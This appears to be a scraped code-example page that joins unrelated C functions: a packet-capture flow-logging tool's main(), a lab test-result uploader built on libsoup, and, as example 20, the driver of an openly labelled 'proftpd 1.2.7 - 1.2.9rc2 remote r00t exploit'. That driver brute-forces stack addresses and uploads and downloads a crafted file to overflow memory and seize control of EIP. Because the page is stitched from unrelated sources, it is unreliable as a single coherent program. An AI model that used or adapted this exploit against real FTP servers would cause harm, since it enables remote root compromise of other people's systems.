   * "info" gets invoked before info gets set below (if we are in
   * online mode, it will be set to a log file)
   */
  info = stderr;

  /* in debug mode, turn off output buffering */
#if P2F_DEBUG
  setvbuf(stderr, NULL, _IONBF, 0); 
  setbuf(stdout, NULL);
#endif

  /*
   * set configuration from command line arguments that contain
   * LHS=RHS commands, then update argv/argc so that those arguments
   * are not subjected to any further processing
   */
  num_cmds = config_set_from_argv(&config, argv, argc);
  argv += num_cmds;
  argc -= num_cmds;

  /* process command line options */
  while (1) {
    int option_index = 0;
    struct option long_options[] = {
      {"help",  no_argument,         0, 'h' },
      {"xconfig", required_argument, 0, 'x' },
      {0,         0,                 0,  0  }
    };

    c = getopt_long(argc, argv, "hx:",
		    long_options, &option_index);
    if (c == -1)
      break;
    switch (c) {
    case 'x':
      config_file = optarg;
      opt_count++;
      break;
    case 'h':
    default:
      return usage(argv[0]);
    }
    opt_count++;
  }

  if (config_file) {
    /*
     * read in configuration from file; note that if we don't read in
     * a file, then the config structure will use the static defaults
     * set when it was declared
     */
    config_set_from_file(&config, config_file);
  } 
  if (config_file || (num_cmds != 0)) {
    /*
     * set global variables as needed, if we got some configuration
     * commands from the config_file or from command line arguments
     */
    bidir = config.bidir;
    include_zeroes = config.include_zeroes;
    byte_distribution = config.byte_distribution;
    report_entropy = config.report_entropy;
    report_wht = config.report_wht;
    report_hd = config.report_hd;
    include_tls = config.include_tls;
    include_classifier = config.include_classifier;
    output_level = config.output_level;
    report_idp = config.idp;
    report_dns = config.dns;
    salt_algo = config.type;
    nfv9_capture_port = config.nfv9_capture_port;
    if (config.bpf_filter_exp) {
      filter_exp = config.bpf_filter_exp;
    }
  }
  
  /*
   * allow some command line variables to override the config file
   */
  if (cli_filename) {
    /*
     * output filename provided on command line supersedes that
     * provided in the config file
     */
    config.filename = cli_filename;
  } 
  if (cli_interface) {
    /*
     * interface provided on command line supersedes that provided
     * in the config file
     */
    config.interface = cli_interface;
  }
  if (config.filename) {
    strncpy(filename, config.filename, MAX_FILENAME_LEN);
  }

  /*
   * set the operating mode to online or offline 
   */
  if (config.interface != NULL && strcmp(config.interface, NULL_KEYWORD)) {
    mode = mode_online;
  } else {
    mode = mode_offline;
  }
    
  /*
   * if we are doing a live capture, get interface list, and set "info"
   * output stream to log file
   */
  if (mode == mode_online) {

    if (config.logfile && strcmp(config.logfile, NULL_KEYWORD)) {
      info = fopen(config.logfile, "a");
      if (info == NULL) {
	fprintf(stderr, "error: could not open log file %s\n", config.logfile);
	return -1;
      }
      fprintf(stderr, "writing errors/warnings/info/debug output to %s\n", config.logfile);
    }
    
    /*
     * cheerful message to indicate the start of a new run of the
     * daemon
     */
    fprintf(info, "--- %s initialization ---\n", argv[0]);
    flocap_stats_output(info);

    num_interfaces = interface_list_get(ifl);
    if (num_interfaces == 0) {
      fprintf(info, "warning: could not obtain inferface information\n");    
    } else {
      for(i=0; i<num_interfaces; i++) {
	unsigned char *a = ifl[i].mac_addr;
	fprintf(info, "interface: %8s\tstatus: %s\t%02x%02x%02x%02x%02x%02x\n", 
		ifl[i].name, (ifl[i].active ? "up" : "down"), 
		a[0], a[1], a[2], a[3], a[4], a[5]); 
      }
    }    
  } else {
    info = stderr;
  }

  /*
   * report on running configuration (which may depend on the command
   * line, the config file, or both)
   */
  config_print(info, &config);

  /*
   * configure labeled subnets (which uses a radix trie to identify
   * addresses that match subnets associated with labels)
   */  
  if (config.num_subnets > 0) {
    attr_flags subnet_flag;
    enum status err;

    rt = radix_trie_alloc();
    if (rt == NULL) {
      fprintf(info, "could not allocate memory\n");
    }
    err = radix_trie_init(rt);
    if (err != ok) {
      fprintf(stderr, "error: could not initialize subnet labels (radix_trie)\n");
    }
    for (i=0; i<config.num_subnets; i++) {
      char label[LINEMAX], subnet_file[LINEMAX];
      int num;
      
      num = sscanf(config.subnet[i], "%[^=:]:%[^=:\n#]", label, subnet_file);
      if (num != 2) {
	fprintf(info, "error: could not parse command \"%s\" into form label:subnet\n", config.subnet[i]);
	exit(1);
      }
      
      subnet_flag = radix_trie_add_attr_label(rt, label);
      if (subnet_flag == 0) {
	fprintf(info, "error: count not add subnet label %s to radix_trie\n", label);
	exit(1);
      }
      
      err = radix_trie_add_subnets_from_file(rt, subnet_file, subnet_flag, info);
      if (err != ok) {
	fprintf(info, "error: could not add labeled subnets from file %s\n", subnet_file);
	exit(1);
      }
    }
    fprintf(info, "configured labeled subnets (radix_trie), using %u bytes of memory\n", get_rt_mem_usage());
    
  }

  if (config.anon_addrs_file != NULL) {
    if (anon_init(config.anon_addrs_file, info) == failure) {
      fprintf(info, "error: could not initialize anonymization subnets from file %s\n", 
	      config.anon_addrs_file); 
      return -1;
    }
  }

  if (config.filename != NULL) {
    char *outputdir;
    
    /*
     * set output directory 
     */
    if (config.outputdir) {
      outputdir = config.outputdir;
    } else {
      outputdir = ".";
    }

    /*
     * generate an "auto" output file name, based on the MAC address
     * and the current time, if we are "auto" configured
     */
    if (strncmp(config.filename, "auto", strlen("auto")) == 0) {

      if (mode == mode_online) {
	unsigned char *addr = ifl[0].mac_addr;
	time_t now = time(0);   
	struct tm *t = localtime(&now);
	
	snprintf(filename,  MAX_FILENAME_LEN, "%s/flocap-%02x%02x%02x%02x%02x%02x-h%d-m%d-s%d-D%d-M%d-Y%d-%s-", 
		 outputdir, addr[0], addr[1], addr[2], addr[3], addr[4], addr[5], 
		 t->tm_hour, t->tm_min, t->tm_sec, t->tm_mday, t->tm_mon, t->tm_year + 1900, t->tm_zone);
      } else {
	fprintf(info, "error: cannot use \"output = auto\" with no interface specified; use -o or -l options\n");
	return usage(argv[0]);
      }
      fprintf(info, "auto generated output filename: %s\n", filename);
      
    } else {    
      /* set output file based on command line or config file */
      
      if (cli_filename) {
	strncpy(filename, config.filename, MAX_FILENAME_LEN);
      } else {
	char tmp_filename[MAX_FILENAME_LEN];
	
	strncpy(tmp_filename, filename, MAX_FILENAME_LEN);
	snprintf(filename,  MAX_FILENAME_LEN, "%s/%s", outputdir, tmp_filename);
      }
    }
    file_base_len = strlen(filename);
    if (config.max_records != 0) {
      snprintf(filename + file_base_len, MAX_FILENAME_LEN - file_base_len, "%d", file_count);
    }
    output = fopen(filename, "w");
    if (output == NULL) {
      fprintf(info, "error: could not open output file %s (%s)\n", filename, strerror(errno));
      return -1;
    }
  } else {
    output = stdout;
  }
  
  if (ifile != NULL) {
    opt_count--;
    argv[1+opt_count] = ifile; 
  }

  if (mode == mode_online) {   /* live capture */
    int linktype;

    /*
     * sanity check: we can't be in both offline mode and online mode
     * simultaneously
     */
    if ((argc-opt_count > 1) || (ifile != NULL)) {
      fprintf(info, "error: both interface (%s) and pcap input file (%s) specified\n",
	      config.interface, argv[1+opt_count]);
      return usage(argv[0]);
    }

    anon_print_subnets(info);
    
    signal(SIGINT, sig_close);     /* Ctl-C causes graceful shutdown */
    signal(SIGTERM, sig_close);
    // signal(SIGHUP, sig_reload);
    // signal(SIGTSTP, sig_reload);
    signal(SIGQUIT, sig_reload);   /* Ctl-\ causes an info dump      */

    /*
     * set capture interface as needed
     */
    if (strncmp(config.interface, "auto", strlen("auto")) == 0) {
      capture_if = ifl[0].name;
      fprintf(info, "starting capture on interface %s\n", ifl[0].name);
    } else {
      capture_if = config.interface;
    }

    errbuf[0] = 0;
    handle = pcap_open_live(capture_if, 65535, config.promisc, 10000, errbuf);
    if (handle == NULL) {
      fprintf(info, "could not open device %s: %s\n", capture_if, errbuf);
      return -1;
    }
    if (errbuf[0] != 0) {
      fprintf(stderr, "warning: %s\n", errbuf);
    }

    /* verify that we can handle the link layer headers */
    linktype = pcap_datalink(handle);
    if (linktype != DLT_EN10MB) {
      fprintf(info, "device %s has unsupported linktype (%d)\n", 
	      capture_if, linktype);
      return -2;
    }
    
    if (filter_exp) {

      /* compile the filter expression */
      if (pcap_compile(handle, &fp, filter_exp, 0, net) == -1) {
	fprintf(info, "error: could not parse filter %s: %s\n",
		filter_exp, pcap_geterr(handle));
	return -3;
      }
      
      /* apply the compiled filter */
      if (pcap_setfilter(handle, &fp) == -1) {
	fprintf(info, "error: could not install filter %s: %s\n",
		filter_exp, pcap_geterr(handle));
	return -4;
      }

    }

    /*
     * run as daemon, if so configured, without closing stderr and
     * stdout, and without changing the working directory
     */
    if (config.daemon) {
      daemon(1, 1);  
    }
    
    /*
     * flush "info" output stream to ensure log file accuracy
     */
    fflush(info);

    /* 
     * write out JSON preamble
     */ 
    fprintf(output, "{\n");
    config_print_json(output, &config);
    fprintf(output, "\"appflows\": [\n");

    while(1) {
      struct timeval time_of_day, inactive_flow_cutoff;

      /* loop over packets captured from interface */
      pcap_loop(handle, NUM_PACKETS_IN_LOOP, process_packet, NULL);
      
      if (output_level > none) { 
	fprintf(output, "# pcap processing loop done\n");
      }

      if (config.report_exe) {
	/*
	 * periodically obtain host/process flow data
	 */ 
	if (get_host_flow_data() != 0) {
	  fprintf(info, "warning: could not obtain host/process flow data\n");
	}
      }

      /*
       * periodically report on progress
       */
      if ((flocap_stats_get_num_packets() % NUM_PACKETS_BETWEEN_STATS_OUTPUT) == 0) {
	flocap_stats_output(info);
      }

      /* print out inactive flows */
      gettimeofday(&time_of_day, NULL);
      timer_sub(&time_of_day, &time_window, &inactive_flow_cutoff);

      flow_record_list_print_json(&inactive_flow_cutoff);

      if (config.filename) {
	
	/* rotate output file if needed */
	if (config.max_records && (records_in_file > config.max_records)) {

	  /*
	   * write JSON postamble
	   */
	  fprintf(output, "\n] }\n");

	  fclose(output);
	  if (config.upload_servername) {
	    upload_file(filename, config.upload_servername, config.upload_key, config.retain_local);
	  }

	  // printf("records: %d\tmax_records: %d\n", records_in_file, config.max_records);
	  file_count++;
	  if (config.max_records != 0) {
	    snprintf(filename + file_base_len, MAX_FILENAME_LEN - file_base_len, "%d", file_count);
	  }
	  output = fopen(filename, "w");
	  if (output == NULL) {
	    perror("error: could not open output file");
	    return -1;
	  }
	  records_in_file = 0;
	  fprintf(output, "{ \"appflows\": [\n");
	}
      
	/*
	 * flush out buffered debug/info/log messages on the "info" stream
	 */
	fflush(info);
      }

      // fflush(output);
    }

    fprintf(output, "\n] }\n");
    
    if (filter_exp) {
      pcap_freecode(&fp);
    }

    pcap_close(handle);
 

  } else { /* mode = mode_offline */

    if ((argc-opt_count <= 1) && (ifile == NULL)) {
      fprintf(stderr, "error: missing pcap file name(s)\n");
      return usage(argv[0]);
    }

    fprintf(output, "{\n");
    config_print_json(output, &config);
    fprintf(output, "\"appflows\": [\n");

    flow_record_list_init();
    flocap_stats_timer_init();

    for (i=1+opt_count; i<argc; i++) {
    
      if (stat(argv[i], &sb) == 0 && S_ISDIR(sb.st_mode)) {
	if ((dir = opendir(argv[i])) != NULL) {

	  while ((ent = readdir(dir)) != NULL) {
	    if (strcmp(ent->d_name, ".") && strcmp(ent->d_name, "..")) {
	      strcpy(pcap_filename, argv[i]);
	      if (pcap_filename[strlen(pcap_filename)-1] != '/') {
		strcat(pcap_filename, "/");
	      }
	      strcat(pcap_filename, ent->d_name);
	      tmp_ret = process_pcap_file(pcap_filename, filter_exp, &net, &fp);
	      if (tmp_ret < 0) {
		return tmp_ret;
	      }
	    }
	  }

	  closedir(dir);
	} else {
	  /* error opening directory*/
	  printf("Error opening directory: %s\n", argv[i]);
	  return -1;
	}

      } else {
	tmp_ret = process_pcap_file(argv[i], filter_exp, &net, &fp);
	if (tmp_ret < 0) {
	  return tmp_ret;
	}
      }
    }
    
    fprintf(output, "\n]");
    fprintf(output, "\n}\n");
    
  }

  flocap_stats_output(info);
  // config_print(info, &config);

  return 0;
}
Exemplo n.º 19
0
int main(int argc, char *argv[]) {

    AppData *app_data = g_slice_new0 (AppData);
    app_data->filename = g_strdup("resultoutputfile.log");
    app_data->outputfile = g_strdup(getenv("OUTPUTFILE"));
    app_data->disable_plugin = g_ptr_array_new_with_free_func (g_free);

    GError *error = NULL;

    gchar *server = NULL;
    SoupURI *result_uri = NULL;

    guint ret = 0;

    SoupMessage *server_msg;
    SoupRequest *request;

    gchar *result_msg = NULL;
    gchar *prefix = NULL;
    gchar *server_recipe_key = NULL;
    gchar *server_recipe = NULL;
    gchar *task_id = NULL;
    gchar *task_id_key = NULL;
    gboolean no_plugins = FALSE;

    gchar *form_data;
    GHashTable *data_table = g_hash_table_new (NULL, NULL);

    GOptionEntry entries[] = {
        {"server", 's', 0, G_OPTION_ARG_STRING, &server,
            "Server to connect to", "URL" },
        { "message", 't', 0, G_OPTION_ARG_STRING, &result_msg,
            "Short 100 characters or less message", "TEXT" },
        { "outputfile", 'o', 0, G_OPTION_ARG_CALLBACK, callback_outputfile,
            "Log to upload with result, $OUTPUTFILE is used by default", "FILE" },
        { "disable-plugin", 'p', 0, G_OPTION_ARG_CALLBACK, callback_disable_plugin,
            "don't run plugin on server side", "PLUGIN" },
        { "no-plugins", 0, 0, G_OPTION_ARG_NONE, &no_plugins,
            "don't run any plugins on server side", NULL },
        { NULL }
    };
    GOptionGroup *option_group = g_option_group_new ("main",
                                                    "Application Options",
                                                    "Various application related options",
                                                    app_data, NULL);

    GOptionContext *context = g_option_context_new("TASK_PATH RESULT SCORE");
    g_option_context_set_summary(context,
            "Report results to lab controller. if you don't specify the\n"
            "the server url you must have RECIPEID and TASKID defined.\n"
            "If HARNESS_PREFIX is defined then the value of that must be\n"
            "prefixed to RECIPEID and TASKID");
    g_option_group_add_entries(option_group, entries);
    g_option_context_set_main_group (context, option_group);

    gboolean parse_succeeded = g_option_context_parse(context, &argc, &argv, &error);

    if (!parse_succeeded) {
        goto cleanup;
    }

    prefix = getenv("HARNESS_PREFIX") ? getenv("HARNESS_PREFIX") : "";
    server_recipe_key = g_strdup_printf ("%sRECIPE_URL", prefix);
    server_recipe = getenv(server_recipe_key);
    task_id_key = g_strdup_printf ("%sTASKID", prefix);
    task_id = getenv(task_id_key);
    g_free(task_id_key);
    g_free(server_recipe_key);

    if (!server && server_recipe && task_id) {
        server = g_strdup_printf ("%s/tasks/%s/results/", server_recipe, task_id);
    }

    if (argc < 3 || !server) {
        cmd_usage(context);
        goto cleanup;
    }

    result_uri = soup_uri_new (server);
    if (result_uri == NULL) {
        g_set_error (&error, RESTRAINT_ERROR,
                     RESTRAINT_PARSE_ERROR_BAD_SYNTAX,
                     "Malformed server url: %s", server);
        goto cleanup;
    }
    session = soup_session_new_with_options("timeout", 3600, NULL);

    g_hash_table_insert (data_table, "path", argv[1]);
    g_hash_table_insert (data_table, "result", argv[2]);

    // if AVC_ERROR=+no_avc_check then disable the selinux check plugin
    // This is for legacy rhts tests.. please use --disable-plugin
    gchar *avc_error = getenv("AVC_ERROR");
    if (g_strcmp0 (avc_error, "+no_avc_check") == 0) {
        g_ptr_array_add (app_data->disable_plugin, g_strdup ("10_avc_check"));
    }

    if (app_data->disable_plugin->pdata) {
        g_hash_table_insert (data_table, "disable_plugin",
                             g_strjoinv (" ", (gchar **)app_data->disable_plugin->pdata));
    }
    if (no_plugins)
      g_hash_table_insert (data_table, "no_plugins", &no_plugins);
    if (argc > 3)
      g_hash_table_insert (data_table, "score", argv[3]);
    if (result_msg)
      g_hash_table_insert (data_table, "message", result_msg);

    request = (SoupRequest *)soup_session_request_http_uri (session, "POST", result_uri, &error);
    server_msg = soup_request_http_get_message (SOUP_REQUEST_HTTP (request));
    g_object_unref(request);
    form_data = soup_form_encode_hash (data_table);
    soup_message_set_request (server_msg, "application/x-www-form-urlencoded",
                              SOUP_MEMORY_TAKE, form_data, strlen (form_data));
    g_print ("** %s %s Score:%s\n", argv[1], argv[2], argv[3]);
    ret = soup_session_send_message (session, server_msg);
    if (SOUP_STATUS_IS_SUCCESSFUL (ret)) {
        gchar *location = g_strdup_printf ("%s/logs/",
                                           soup_message_headers_get_one (server_msg->response_headers, "Location"));
        soup_uri_free (result_uri);
        result_uri = soup_uri_new (location);
        g_free (location);
        if (app_data->outputfile != NULL &&
            g_file_test (app_data->outputfile, G_FILE_TEST_EXISTS))
        {
            g_print ("Uploading %s ", app_data->filename);
            if (upload_file (session, app_data->outputfile, app_data->filename, result_uri, &error)) {
                g_print ("done\n");
            } else {
                g_print ("failed\n");
            }
        }
    } else {
       g_warning ("Failed to submit result, status: %d Message: %s\n", ret, server_msg->reason_phrase);
    }
    g_object_unref(server_msg);
    soup_session_abort(session);
    g_object_unref(session);

cleanup:
    if (server != NULL) {
        g_free(server);
    }
    if (result_msg != NULL) {
        g_free(result_msg);
    }
    g_option_context_free(context);
    g_hash_table_destroy(data_table);
    if (result_uri != NULL) {
        soup_uri_free (result_uri);
    }
    restraint_free_appdata(app_data);
    if (error) {
        int retcode = error->code;
        g_printerr("%s [%s, %d]\n", error->message,
                g_quark_to_string(error->domain), error->code);
        g_clear_error(&error);
        return retcode;
    } else {
        return EXIT_SUCCESS;
    }
}
Exemplo n.º 20
0
int main(int argc,char **argv)
{
int sleepMode=0;
char c;
unsigned int stackStartAddr=STACK_START;

if(argc<2) usage(argv[0]);
while((c = getopt(argc, argv, "t:u:p:l:U:sP:S:"))!= EOF) {
switch (c) {
case 't':
server=optarg;
break;
case 'u':
user=optarg;
break;
case 'p':
pass=optarg;
break;
case 'l':
localIP=optarg;
break;
case 's':
sleepMode=1;
break;
case 'U':
strncpy(uploadPath,optarg,SIZE);
break;
case 'P':
ftpPort=atoi(optarg);
break;
case 'S':
stackStartAddr=strtoul(optarg, NULL, 16);
break;
default:
usage(argv[0]);
return 1;
}
}
if(server==NULL || localIP==NULL)
usage(argv[0]);

printf("proftpd 1.2.7 - 1.2.9rc2 remote r00t exploit\n");
printf(" by Haggis ([email protected])\n");

doris_chroot_breaker();
for(stackWriteAddr=stackStartAddr; stackWriteAddr<STACK_END; stackWriteAddr+=4, attemptNumber++) {

if(check_for_linefeed()==FAILURE)
continue;

retAddr=stackWriteAddr+200; // good enough for show business

if((controlSock=connect_to_server(ftpPort))==FAILURE) {
perror("\n\nFailing to connect to remote host\n");
exit(1);
}

if(login_to_server()==FAILURE) {
close(controlSock);
printf("\nERROR: Login failed.\n");
exit(1);
}

if(set_passive_mode(UPLOAD)==FAILURE)
goto err;
if(set_ascii_mode()==FAILURE)
goto err;
if(set_path_and_filename()==FAILURE)
goto err;

// create the buffer containing RET for this
// brute-force iteration
create_exploit_buffer();

if(upload_file()==FAILURE)
goto err;
close(controlSock);

// Connect again, then login, set ASCII mode and download the exploit file.
// This will trigger the overflow; as a result, we've
// corrupted the memory pool of this session and when we
// download the file again, the stack area will be overwritten
// and we control the saved EIP.

if((controlSock=connect_to_server(ftpPort))<0) {
perror("\nFailed to connect to remote host\n");
exit(1);
}

login_to_server(user,pass);
set_path_and_filename();
if(set_ascii_mode()==FAILURE)
goto err;
if(set_passive_mode(DOWNLOAD)==FAILURE)
goto err;
if(sleepMode)
sleep(10);
if(download_file(NORMAL_DOWNLOAD)==FAILURE)
goto err;

// Finally, read the file again. This will trigger the stack
// overwrite (NOT the overflow, that happened earlier). We could
// control EIP at this point and r00t may be only heartbeat away...

if(set_passive_mode(DOWNLOAD)==FAILURE)
goto err;
if(download_file(EXPLOIT_DOWNLOAD)==FAILURE)
goto err;
err: 
close(controlSock);
}

// This is only reached if the bruteforce fails.
// delete the exploit files here

printf("\n\nNo r00t for you today I'm afraid.\n");
exit(1);
}
Exemplo n.º 21
0
gboolean upload_results(AppData *app_data) {
    GError *error = NULL;
    SoupURI *result_uri = NULL;

    guint ret = 0;

    SoupSession *session;
    SoupMessage *server_msg;
    SoupRequest *request;

    gchar *form_data;
    GHashTable *data_table = g_hash_table_new (NULL, NULL);

    result_uri = soup_uri_new (app_data->server);
    if (result_uri == NULL) {
        g_set_error (&error, RESTRAINT_ERROR,
                     RESTRAINT_PARSE_ERROR_BAD_SYNTAX,
                     "Malformed server url: %s", app_data->server);
        goto cleanup;
    }
    session = soup_session_new_with_options("timeout", 3600, NULL);

    g_hash_table_insert (data_table, "path", app_data->test_name);
    g_hash_table_insert (data_table, "result", app_data->test_result);

    // if AVC_ERROR=+no_avc_check then disable the selinux check plugin
    // This is for legacy rhts tests.. please use --disable-plugin
    gchar *avc_error = getenv("AVC_ERROR");
    if (g_strcmp0 (avc_error, "+no_avc_check") == 0) {
        g_ptr_array_add (app_data->disable_plugin, g_strdup ("10_avc_check"));
    }

    if (app_data->disable_plugin->pdata) {
        g_ptr_array_add (app_data->disable_plugin, NULL);
        g_hash_table_insert (data_table, "disable_plugin",
                             g_strjoinv (" ", (gchar **)app_data->disable_plugin->pdata));
    }
    if (app_data->no_plugins)
      g_hash_table_insert (data_table, "no_plugins", &app_data->no_plugins);
    if (app_data->score)
      g_hash_table_insert (data_table, "score", app_data->score);
    if (app_data->result_msg)
      g_hash_table_insert (data_table, "message", app_data->result_msg);

    request = (SoupRequest *)soup_session_request_http_uri (session, "POST", result_uri, &error);
    server_msg = soup_request_http_get_message (SOUP_REQUEST_HTTP (request));
    g_object_unref(request);
    form_data = soup_form_encode_hash (data_table);
    soup_message_set_request (server_msg, "application/x-www-form-urlencoded",
                              SOUP_MEMORY_TAKE, form_data, strlen (form_data));
    g_print ("** %s %s Score:%s\n", app_data->test_name, app_data->test_result,
        app_data->score != NULL ? app_data->score : "N/A");

    ret = soup_session_send_message (session, server_msg);
    if (SOUP_STATUS_IS_SUCCESSFUL (ret)) {
        gchar *location = g_strdup_printf ("%s/logs/",
                                           soup_message_headers_get_one (server_msg->response_headers, "Location"));
        soup_uri_free (result_uri);
        result_uri = soup_uri_new (location);
        g_free (location);
        if (app_data->outputfile != NULL &&
            g_file_test (app_data->outputfile, G_FILE_TEST_EXISTS))
        {
            g_print ("Uploading %s ", app_data->filename);
            if (upload_file (session, app_data->outputfile, app_data->filename, result_uri, &error)) {
                g_print ("done\n");
            } else {
                g_print ("failed\n");
            }
        }
    } else {
       g_warning ("Failed to submit result, status: %d Message: %s\n", ret, server_msg->reason_phrase);
    }
    g_object_unref(server_msg);
    soup_session_abort(session);
    g_object_unref(session);

cleanup:
    g_hash_table_destroy(data_table);
    if (result_uri != NULL) {
        soup_uri_free (result_uri);
    }

    if (error) {
        g_printerr("%s [%s, %d]\n", error->message,
                g_quark_to_string(error->domain), error->code);
        g_clear_error(&error);
        return FALSE;
    } else {
        return TRUE;
    }
}